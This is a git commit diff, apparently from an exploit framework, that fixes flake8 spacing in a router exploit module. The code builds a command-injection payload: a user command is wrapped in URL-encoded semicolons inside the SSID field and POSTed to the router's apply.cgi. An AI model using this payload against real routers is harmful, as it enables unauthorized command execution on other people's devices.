Commit 0830573f by BigNerd95

Fixed flake8 violations

parent 0207cd23
...@@ -49,14 +49,14 @@ class Exploit(exploits.Exploit): ...@@ -49,14 +49,14 @@ class Exploit(exploits.Exploit):
print_error("Exploit failed. Are you logged in?") print_error("Exploit failed. Are you logged in?")
exit(1) exit(1)
if len(SSID)+2+len(self.cmd) > 32: if len(SSID) + 2 + len(self.cmd) > 32:
newlen = 32 - len(self.cmd) - 2 newlen = 32 - len(self.cmd) - 2
SSID = SSID[0:newlen] SSID = SSID[0:newlen]
print_status("SSID too long, it will be truncated to: "+SSID) print_status("SSID too long, it will be truncated to: " + SSID)
newSSID = SSID+"%3B"+self.cmd+"%3B" newSSID = SSID + "%3B" + self.cmd + "%3B"
payload = "page=radio.asp&location_page=wireless_id.stm&wl_bssid=&wl_unit=0&wl_action=1&wl_ssid="+newSSID+"&arc_action=Apply+Changes&wchan=1&ssid="+newSSID payload = "page=radio.asp&location_page=wireless_id.stm&wl_bssid=&wl_unit=0&wl_action=1&wl_ssid=" + newSSID + "&arc_action=Apply+Changes&wchan=1&ssid=" + newSSID
url = "{}:{}/apply.cgi".format(self.target, self.port) url = "{}:{}/apply.cgi".format(self.target, self.port)
response = http_request(method="POST", url=url, data=payload) response = http_request(method="POST", url=url, data=payload)
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment